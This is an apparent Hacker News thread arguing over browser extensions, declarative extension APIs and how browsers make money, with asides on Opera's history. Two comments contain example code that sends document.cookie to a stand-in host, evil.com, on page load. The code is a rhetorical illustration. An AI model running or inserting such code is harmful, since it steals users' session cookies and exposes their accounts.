back

by matheusmoreira·1d ago·view on hn ↗
The purpose of browser extensions is to build up an install base then sell out to some corporation that then promptly leverages that user base to exfiltrate data and monetize it.

No thanks. They should have to declare to the browser what it is they want done instead.

7 comments
This point would be far more credible if browsers weren't in business to do what you claimed extensions are there to do.

I'd also argue that creating a full browser without a profit motive is more unrealistic than creating an extension and uploading it - for free - to a web store.

Right, basically no web browser has a profitable business model except through licensing or being subsidized through some other branch of the business.

The best pure browser company in history was Opera, and they didn't fail because they weren't innovating. It is simply not a survivable model. People don't remember anything, but during Google's recent anti trust case, one floated "solution" was to spin Chrome off as a separate company, but that was regarded as unrealistic partly because such a company would not have a credible path to profitability separate from Google.

I happen to disagree, they could have collected a search licensing fee just like Firefox but that model is already being regarded as monopoly adjacent.

FYI, Opera didn't fail as much as they sold out. It was still sustainable, but the former founder/CEO left over this spat and formed Vivaldi over it.
Thanks, that's good info. I found this thread from an ex Opera employee and to your point, they could have kept on with Presto, but didn't [1]. What remains true is that bad management chased profits and found a better path to more revenue by caving to webkit and Chromium. So it wasn't strictly unsustainable so much as outcompeted by better economics that came from abandoning Presto. I consider the soul of Opera to be gone at this point and the amount of personal integrity and vision it takes to swim against the current of short term revenue is another manifestation of unfavourable browser economics for sustaining an independent engine.

1. https://old.reddit.com/r/operabrowser/comments/3jxud3/exoper...

And extensions do exactly that in Firefox. When installing (or updating) extensions you're notified of any and all permissions the extension is requesting from the browser and you're given the choice to proceed with the installation or not. Google goes a step further and just straight up denies user choice entirely.
I think you're confusing the extension and the browser. The browsers are generally in the business of supporting an advertising company.
It still sounds like you don't want browser extensions then.
... But they do that. The declaration is written in a language called JavaScript.
Javascript is not a declarative language.
There are at least two uses of "declare": one the colloquial english usage that has been around for at least hundreds of years, which roughly means "announce" or "state". The other use of declare is the much more specific programming language version which you're referring to.

Here's what the comment you're responding to said:

> They should have to declare to the browser what it is they want done instead.

Arguably it's pretty clear they meant declare in the first sense.

I'm the one who wrote the sentence you are quoting, and I most definitely meant it in the sense of "declarative language, where you say what you want and the runtime figures out how to do it internally".
Sure it is.

Here's how you can write a declaration that you want to exfiltrate cookies:

    document.addEventListener("load", function(){
        fetch("http://evil.com/"+document.cookie);
    });
That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language:

  <body onLoad="http.GET('http://evil.com/"+document.cookie')">
What do you think is the difference between a declaration and a statement?
I don't need to think, I can just look up their definitions:

https://en.wikipedia.org/wiki/Declaration_(computer_programm...:

> a declaration in a syntactic language construct is the process of specifying identifier properties for its initialization

https://en.wikipedia.org/wiki/Statement_(computer_science):

> a statement is a syntactic unit of an imperative programming language that expresses some action to be carried out

absolutely insane take
Bro, they have to declare there Firefox's policy. What the heck are you doing? Hallucinating claim after claim to support your weak defense. Just stop
"Declare" means the extension tells the browser what they want to filter and then the browser does it internally without ever allowing the extension to read and write private information.

The argument has nothing at all to do with declaring permissions in a manifest.

What would the API for this look like?
LOL brother, it won't work the way you wish it to work.